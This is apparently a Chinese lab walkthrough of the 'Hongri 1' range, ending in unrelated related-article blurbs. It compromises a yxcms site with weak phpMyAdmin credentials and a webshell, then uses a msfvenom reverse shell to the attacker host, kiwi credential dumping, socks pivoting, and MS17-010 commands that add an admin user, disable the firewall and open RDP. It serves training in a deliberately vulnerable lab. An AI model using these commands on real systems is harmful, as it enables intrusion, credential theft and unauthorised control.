红日靶机1
靶场环境
使用kali攻击web服务器,然后根据web服务器攻击其他域内的机器
这里很明确kali是攻击机,外网机器,局域网中的win7是web服务器,有2个网卡,通内网和外网,2k3以及2008r2是内网机器,不出网,其中一个是域控制器,也不出网,3个机器一起做内网。
这里简单的说一下:这里使用2个网卡,一个为nat 一个为仅主机,模拟内网和外网,做到内外网隔离IP地址分别为:kali:192.168.12.20win7:192.168.12.27(作为外网,这里有web服务的,通过web服务getshell) 10.10.10.14(这个网卡做内网)win2k3:10.10.10.112008r2(域控):10.10.10.12
ip配置图:
- 这里使用12网段,使用nat模式,可以和宿主机通信,这里也可以使用桥接模式,根据自己喜好来吧!我更喜欢使用NAT
- 这里是我配置的模拟外网的ip
ip配置图:
- 这里使用10网段,使用仅主机模式,切记讲主机适配器连接到此网络去掉,这样才能更好的模拟内网环境
- 这里是我模拟的内网的ip
说一下它们的关系!
win7与3个都通信
kali不能同win7,但是主机发现有win7,说明win7这里防火墙拒绝icmp协议,两个内网主机可以互相通信,但是不能与win7通信,说明这里成功的做到了内外网隔离,也就是说,后续我们可以直接访问到内网机器的时候就是成功了。
这里kali与域内的两个机器08r2以及win2k3是不能通信的,并且网络发现是找不到的!(也就是说只能通过外部web信息收集打点,一步一步将内网的2台机器渗透出来,后续会讲到)
-
思路开始!
-
主机发现
-
使用arp-scan以及netdiscover进行主机发现
# arp-scan -l
# netdiscover -r 192.168.12.0/24
这里也是很明显我们发现了
-
端口探测
-
这里我们nmap扫描发现开放服务
nmap -sS -T5 192.168.12.27 -p0-
nmap -Pn -T5 192.168.12.27 -p0- 这里使用半开扫描和无ping扫描都行,因为icmp协议不成功,所以可以使用无ping,这里其实还可以使用全扫描sT,我试过结果都一样的,各位师傅可以尝试一下。
漏洞利用
这里发现有一个80的端口且是http服务,所以我们可以去访问看一下
- 这里能找到绝对路径
这里有一个mysql连接监测,其实这里就应该有一种思路
-
首先我们可以尝试使用弱密码登录试试
第一种思路
第一次测试了admin admin 是错误的,使用root root 显示正常,所以这里就得到了账号密码就是root root
但是这里使用navicat尝试连接数据库的时候说网关不允许连接,这里猜想应该是防火墙的问题!或者是数据库没有远程登录的权限
-
另一方面应该会想到既然有sql的数据库,那就应该是会有后台登录的界面(其实事实证明我们的猜想是正确的的)
第二种思路
使用nikto 或者dirb 御剑 dirsearch等目录探测工具进行目录探测
nikto -host http://192.168.12.27
dirb http://192.168.12.27
这里目录扫描发现了存在一个phpmyadmin登陆后台
我们可以访问一下
我们发现使用root:root可以登陆成功!
这里我们发现了一个newyxcms的表,我们可以去访问
这里是一个ymcms,这里是有可以利用的漏洞的
这里我们找到了一些敏感信息
成功的登陆进去
登录进来,我猜测这里应该是有可以利用的漏洞的,发现了一这里有一个模板,使用的都是php的代码,那么我们可以尝试着写一个webshell来进行反弹
但是这里就出现一个问题,我们并不知道它的路径在哪里,所以我们需要去找
因为是一个cms 我们通过百度查询找到了它的php文件的路径\yxcms\protected\apps\default\view\default
我们直接写入一个一句话,然后使用冰蝎连接,然后可以结合msf反弹shell
- 这里使用REQUEST传参传一个cmd可以来执行命令,从而判断我们是否写入成功
这里是我们的路径,可以看到是没有内容的,我们可以用cmd传一个phpinfo来判断
http://192.168.12.27/yxcms/protected/apps/default/view/default/info.php?cmd=phpinfo();
这里再次解释一下,因为刚刚一句话写的REQUEST用cmd传,所以这里用?cmd=phpinfo; 来传入
(其实这里也可以用冰蝎做一个shell然后用冰蝎来上线msf)
这里我们一起来看使用冰蝎的过程
先用冰蝎生成一个webshell
将这个写入到模板中
(这里可以写入一个新的php文件也可以插入原有的php文件中)
http://192.168.12.27/yxcms/protected/apps/default/view/default/bingxie.php
这里跟蚁剑的思路一样,找到php的路径即可,之后我们可以尝试连接了
这里是使用base64,跟之前的一样
成功连接
这里我们可以先上线msf或者cs,或者msf和cs联动,后续在进行信息收集
这里我们上线msf即可
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.12.20 lhost => 192.168.12.20
msf6 exploit(multi/handler) > set lport 4444 lport => 4444
msf6 exploit(multi/handler) > run 使用msf监听本地的4444端口
冰蝎这里直接连接kali的4444即可
- 这里上线cs也是一样,但是cs的话需要jdk的版本与冰蝎的版本一致才可
这里一点给我连,msf直接就上线了,可见很成功!
内网嗅探
内网主机发现
- 接着我们就可以进行一些信息收集了
命令终端使用ipconfig 发现有2个ip一个是12.27 还有一个10网段的内网ip,所以我们需要收集内网的其他的主机
我们会发现他的dns后缀是一个localdomain 本地域,所以这里应该是有域环境的,所以需要我们进行信息收集
ipconfig /all # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net user /domain # 查看域用户
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)3
net time /domain #同步与控服务器时间
- 这里有OWA ROOT-TVI862UBEH STU1 三个用户 所以还有2个主机
- 这里可以查看计算机的工作站、域、登录域
- 这里查询主机是否加入域
这里不知道为什么会出现这种情况说域控制器找不到
而且这里只要是关于域控的一些内容全部都找不到,我猜测可能是我搭建的环境的问题
那么我们可以通过ping命令来找到其他的机器的ip地址,也可以使用msf做内网路由然后使用arp扫描来发现ip地址
- 由于我们找到了3个主机的名称,通过ping看看能不能找到ip地址
ping ROOT-TVI862UBEH
ping OWA
ping STU1
这里找了ip为11
这里找了个ipv6.。。。。。
这里对比发现,我们stu就是现在机器的名称
这里也就是说 stu 是10.10.10.14
ROOT-TVI862UBEH是10.10.10.11
OWA是这个ipv6,可是不知道ipv4
- 这里又ping猜测了一下,发现owa的找不到,判断应该为域控,可是并不知道ip
通过我们的信息收集我们发现:这里域环境为GOD
该域名为god.org,域控为OWA$,域管理员为Administrator
-
反弹shell
- 可是这里由于是php得到的反弹shell,权限不足,只能执行一些命令,却是不能够导入mimikatz这些模块, 所以我们使用msfvenom来生成一个windows的应用程序来反弹shell,这样的话权限会更大
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.12.20 lport=4445 -f exe -o /root/heike.exe
- 将这个exe传入并且执行,使用刚刚连接的php的meterpreter传入即可,使用msf监听4445端口即可
upload /root/heike.exe c://windows//temp//
直接用冰蝎执行即可
这里成功弹上
(这里我们可以看到,使用windows的弹上来比php的权限更大)
这里我们得到msf管理员的权限以后可以导入mimikatz这个模块,获取域内的哈希
meterpreter > load winpmem kiwi
meterpreter > help
域内信息收集
meterpreter > creds_kerberos
这里就将域内的用户名密码拿下
这里可以使用hashdum来得到用户哈西
哈西格式为:
用户名:SID:LM哈希:NTLM哈希:::
得到三个账号 Administrator、Guest、liukaifeng01
但是他们的哈西是空密码
这是因为当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,密码字段显示为null,需要修改注册表等用户重新登录后才能成功抓取。
内网横向攻击
接着我们来对内网的机器进行探测,找到域控的ip
使用msf+proxychains搭建socks隧道,来对内网的机器进行嗅探
- 因为刚刚我们发现其内网是10.10.10.网段,所以这里我们的路由指向10网段
run autoroute -s 10.10.0/24
run autorote -p
- 这样就知道了去内网的方向
- 这样我们可以找到域控的ip地址了
meterpreter > run post/windows/gather/arp_scanner
RHOSTs=10.10.10.0/24 (这里强调一下,需要在我们添加路由以后,然后利用后渗透模块汇总的arp发现这个模块,来探测内网中存活的主机)
这里发现了域控的ip地址
前面已经确定了stu的ip是10.10.10.14、ROOT-TVI862UBEH是10.10.10.11、而这里也知道了OWA的ip是10.10.10.12
- 我们需要使用msf打开socks代理,然后用msf走socks代理来扫描内网的两个ip地址所开的端口
use auxiliary/server/socks_proxy 使用这个模块
将端口改为1111 地址为本地127 使用socks5代理,具体设置方法都一样,这里不做过多截图了
- 通过jobs命令可以看到当前运行的socks代理
- 这里还能使用netstat来查看端口是否开放,具体的用法各位师傅可以去找一找看
接着我们就可以使用使用本地的1111端口来启用socks隧道,去访问它的内网了!!!
vim /etc/proxychains4.conf(这个是kali里面的socks隧道的配置文件)
在最后输入ip和端口即可
这里我们可以使用proxychains来走socks代理
使用proxychains curl http://10.10.10.14来判断是否socks隧道搭建成功(这里稍微解释一下,因为10.10.10.14是192.168.12.27的那台机器的另一块网卡,正常情况我们直接访问是看不到的,所以这里使用socks隧道来访问,可以看到结果是ok,说明socks隧道搭建成功,因为在msf里面开起来socks隧道,且有路由,所以这里是可以知道10.10.10.14的!!!)
域内主机端口探测
这里使用msf的端口扫描模块对内网资产进行端口扫描
auxiliary/scanner/portscan/tcp使用这个模块
option中的参数 改ip为资产ip 端口为22,80,135,443,445,3389
设置为常用端口就好了,因为是实验环境,真实环境最好全端口扫描,但是线程别太大
14的
12的
14这个机器我们已经通过web打点那些,12是域控,11是另一台域内机器,所以我们先对11动手
11这里开放了445和135端口
域内主机漏洞利用
- 445先用永恒之蓝试一下看看
这里探测到可以使用ms17-010,那我们攻击一下试试
- 这里需要该个9999端口因为4444被用过了
- 但是这里使用445 ms17-010不能成功
- 那我们试试445的ms17_010_command这个
- 这里我们看到使用net user结果是成功的
那么这里我们就可以利用这个漏洞讲3389打开,然后创建用户登录即可
使用的命令:
set command net user aaa abce@1234 /add (创建一个用户,这里是有一个密码的限制的,所以使用一个复杂的密码,要不然创建不成功的)
set command net localgroup administrators aaa /add (将这个用户加入到管理员中)
set command netsh advfirewall set allprofiles state off (关闭防火墙)
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' (打开3389端口)
- 到此为止我们将3389打开了,然后还创建了用户,所以我们可以登录
拿下域内主机
这里使用proxychains rdesktop 10.10.10.11
这里要登录用户,不能登录域
登陆成功
- 但是这里应该是属于个人用户,而并非是域内用户
- 这里说明一下,在攻击域控的时候用上面的445不成功,永恒之蓝跟command都不能成功,这里就不给图了,直接换一种思路(但是我看有的师傅说可以成功,这里也可能是我的环境配置问题,反正我是没成功)
回到msf中用kiwi模块中的命令我们找到了账号密码
net use \\10.10.10.12\c$ "********":"administrator'
这里只能到这里,本来想着用msf代理去上线,可是试了很多次都没能成功,只有转到cs来尝试了,后续在出一个cs的教程,还在持续的更新中!(文章尽我所能,能想到的都写了,希望对各位师傅有帮助吧!)
相关文章:

红日靶机1
靶场环境 使用kali攻击web服务器,然后根据web服务器攻击其他域内的机器 这里很明确kali是攻击机,外网机器,局域网中的win7是web服务器,有2个网卡,通内网和外网,2k3以及2008r2是内网机器,不出网&…...
Windows电脑PC使用adb有线跟无线安装apk包
在Android开发中,经常需要使用ADB(Android Debug Bridge)来安装APK包到Android设备上,无论是通过有线连接还是无线连接。以下将分别介绍如何通过有线和无线方式使用ADB安装APK包。 有线连接安装APK 启用开发者选项和USB调试&…...

如何把harmonos项目修改为openharmony项目
一开始分不清harmonyos和openharmony,在harmonyos直接下载的开发软件,后面发现不对劲,打脑阔 首先你要安装对应版本的开发软件,鸿蒙开发是由harmonyos和openharmony官网两个的,找到对应的地方下载对应版本的开发软件&…...
【QT】Qt智能指针QPointer、QSharedPointer、QWeakPointer、QScopedPointer
QPointer QPointer can only point to QObject instances. It will be automatically set to nullptr if the pointed to object is destroyed. It is a weak pointer specialized for QObject. QPointer只能指向QObject实例。如果指向的对象被销毁,它将自动设置为 …...

设计模式探索:建造者模式
1. 什么是建造者模式 建造者模式 (Builder Pattern),也被称为生成器模式,是一种创建型设计模式。 定义:将一个复杂对象的构建与表示分离,使得同样的构建过程可以创建不同的表示。 建造者模式要解决的问题: 建造者模…...
[Go] 字符串遍历数据类型问题
字符串遍历问题 在使用for i,v:range str遍历字符串时 str[i]是unit8(byte)类型,返回的是单个字节 字符串在Go中是以字节序列的形式存储的,而 str[i] 直接访问了这个字节序列中的第 i 个字节。如果字符串中的字符是单字节的ASCII…...
HJ41 称砝码
HJ41 称砝码 提示:文章 文章目录 前言一、背景二、 2.1 2.2 总结 前言 前期疑问: 本文目标: 一、背景 这个题目之前是没有做出来的,我把之前没做出来的代码也记录一下 二、 2.1 之前的代码 #include <stdio.h>int m…...

如何使用Python脚本实现SSH登录
调试IDE:PyCharm Python库:Paramiko 首先安装Paramiko包到PyCharm,具体步骤为:在打开的PyCharm工具中,选择顶部菜单栏中“File”下的“Settings”,在设置对话框中,选择“Project”下的“Proje…...

2024年文化研究与数字媒体国际会议 (CRDM 2024)
2024年文化研究与数字媒体国际会议 (CRDM 2024) 2024 International Conference on Cultural Research and Digital Media 【重要信息】 大会地点:珠海 大会官网:http://www.iccrdm.com 投稿邮箱:iccrdmsub-conf.com 【注意:稿将…...

14-52 剑和诗人26 - RAG 和 VectorDB 简介
检索增强生成 (RAG) 和 VectorDB 是自然语言处理 (NLP) 中的两个重要概念,它们正在突破 AI 系统所能实现的界限。 在这篇博文中,我将深入探讨 RAG,探索其工作原理、应用、优势和局限性。 我们还将研究 VectorDB,这是一种专用于向…...
如果MySQL出现 “Too many connections“ 错误,该如何解决?
当你想要连接MySQL时出现"Too many connections" 报错的情况下,该如何解决才能如愿以偿呢?都是哥们儿,就教你两招吧! 1.不想重启数据库的情况下 你可以尝试采取以下方法来解决: 增加连接数限制:…...
论文阅读:Rethinking Interpretability in the Era of Large Language Models
Rethinking Interpretability in the Era of Large Language Models 《Rethinking Interpretability in the Era of Large Language Models》由Chandan Singh、Jeevana Priya Inala、Michel Galley、Rich Caruana和Jianfeng Gao撰写,探讨了在大型语言模型ÿ…...
C++/Qt 信号槽机制详解
文章目录 C++/Qt 信号槽机制详解一、信号和槽的基本概念1. 信号2. 槽3. 连接二、信号和槽的基本使用1. 信号和槽的声明和定义2. 连接信号和槽三、信号和槽的工作原理1. MOC(Meta-Object Compiler)2. 事件循环3. 连接类型四、信号和槽的高级应用1. 自定义信号和槽2. Lambda 表…...
duplicate key value violates unique constraint
duplicate key value violates unique constraint 遇到的问题 你在尝试向数据库表 goods 插入新记录时,收到了 duplicate key value violates unique constraint 的错误。尽管你确认数据库中没有与尝试插入的 id 相同的记录,但错误依旧存在。进一步的调…...

YOLOv10改进 | EIoU、SIoU、WIoU、DIoU、FocusIoU等二十余种损失函数
一、本文介绍 这篇文章介绍了YOLOv10的重大改进,特别是在损失函数方面的创新。它不仅包括了多种IoU损失函数的改进和变体,如SIoU、WIoU、GIoU、DIoU、EIOU、CIoU,还融合了“Focus”思想,创造了一系列新的损失函数。这些组合形式的…...

docker nginx mysql redis
启动没有数据卷的nginx docker run -d -p 86:80 --name my-nginx nginx把/etc/nginx中的配置复制到宿主机 docker cp my-nginx:/etc/nginx /home/nginxlkl把/html 中的文件复制到宿主机 docker cp my-nginx:/etc/nginx /home/nginxlkl删除当前镜像 docker rm -f my-nginx重新起…...

Linux系统(CentOS)安装iptables防火墙
1,先检查是否安装了iptables 检查安装文件-执行命令:rpm -qa|grep iptables 检查安装文件-执行命令:service iptables status 2,如果安装了就卸装(iptables-1.4.21-35.el7.x86_64 是上面命令查出来的版本) 执行命令:…...
华为的服务器创新之路
华为作为全球领先的信息与通信技术解决方案供应商,其在服务器领域的创新方法不仅推动了企业自身的发展,也为整个行业的进步做出了重要贡献。以下是华为在服务器领域所采取的一些关键创新方法: 芯片级的自主创新 华为通过自主研发的“鲲鹏”处…...
对比service now和salesforce
目录 1. 核心功能和用途 2. 市场定位 3. 平台和扩展性 4. 用户界面和用户体验 5. 价格 总结 ServiceNow和Salesforce是两款广泛使用的企业软件平台,但它们的侧重点和用途有所不同。以下是对它们的详细比较: 1. 核心功能和用途 ServiceNow IT服务…...

树状数组
树状数组 树状数组的核心思想:分治。将数组以二叉树的形式进行维护区间之和。 设 a a a为原数组, t r e e tree tree为树状数组。 t r e e tree tree数组用于存储树上该结点下严格直连的子节点之和(例: t [ 1 ] a [ 1 ] , t [ 2 ] t [ 1 …...

XML Group端口详解
在XML数据映射过程中,经常需要对数据进行分组聚合操作。例如,当处理包含多个物料明细的XML文件时,可能需要将相同物料号的明细归为一组,或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码,增加了开…...

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型
摘要 拍照搜题系统采用“三层管道(多模态 OCR → 语义检索 → 答案渲染)、两级检索(倒排 BM25 向量 HNSW)并以大语言模型兜底”的整体框架: 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后,分别用…...

大话软工笔记—需求分析概述
需求分析,就是要对需求调研收集到的资料信息逐个地进行拆分、研究,从大量的不确定“需求”中确定出哪些需求最终要转换为确定的“功能需求”。 需求分析的作用非常重要,后续设计的依据主要来自于需求分析的成果,包括: 项目的目的…...
在rocky linux 9.5上在线安装 docker
前面是指南,后面是日志 sudo dnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo sudo dnf install docker-ce docker-ce-cli containerd.io -y docker version sudo systemctl start docker sudo systemctl status docker …...

《通信之道——从微积分到 5G》读书总结
第1章 绪 论 1.1 这是一本什么样的书 通信技术,说到底就是数学。 那些最基础、最本质的部分。 1.2 什么是通信 通信 发送方 接收方 承载信息的信号 解调出其中承载的信息 信息在发送方那里被加工成信号(调制) 把信息从信号中抽取出来&am…...
土地利用/土地覆盖遥感解译与基于CLUE模型未来变化情景预测;从基础到高级,涵盖ArcGIS数据处理、ENVI遥感解译与CLUE模型情景模拟等
🔍 土地利用/土地覆盖数据是生态、环境和气象等诸多领域模型的关键输入参数。通过遥感影像解译技术,可以精准获取历史或当前任何一个区域的土地利用/土地覆盖情况。这些数据不仅能够用于评估区域生态环境的变化趋势,还能有效评价重大生态工程…...

【JavaWeb】Docker项目部署
引言 之前学习了Linux操作系统的常见命令,在Linux上安装软件,以及如何在Linux上部署一个单体项目,大多数同学都会有相同的感受,那就是麻烦。 核心体现在三点: 命令太多了,记不住 软件安装包名字复杂&…...

R语言速释制剂QBD解决方案之三
本文是《Quality by Design for ANDAs: An Example for Immediate-Release Dosage Forms》第一个处方的R语言解决方案。 第一个处方研究评估原料药粒径分布、MCC/Lactose比例、崩解剂用量对制剂CQAs的影响。 第二处方研究用于理解颗粒外加硬脂酸镁和滑石粉对片剂质量和可生产…...
GitHub 趋势日报 (2025年06月06日)
📊 由 TrendForge 系统生成 | 🌐 https://trendforge.devlive.org/ 🌐 本日报中的项目描述已自动翻译为中文 📈 今日获星趋势图 今日获星趋势图 590 cognee 551 onlook 399 project-based-learning 348 build-your-own-x 320 ne…...

逻辑回归暴力训练预测金融欺诈
简述 「使用逻辑回归暴力预测金融欺诈,并不断增加特征维度持续测试」的做法,体现了一种逐步建模与迭代验证的实验思路,在金融欺诈检测中非常有价值,本文作为一篇回顾性记录了早年间公司给某行做反欺诈预测用到的技术和思路。百度…...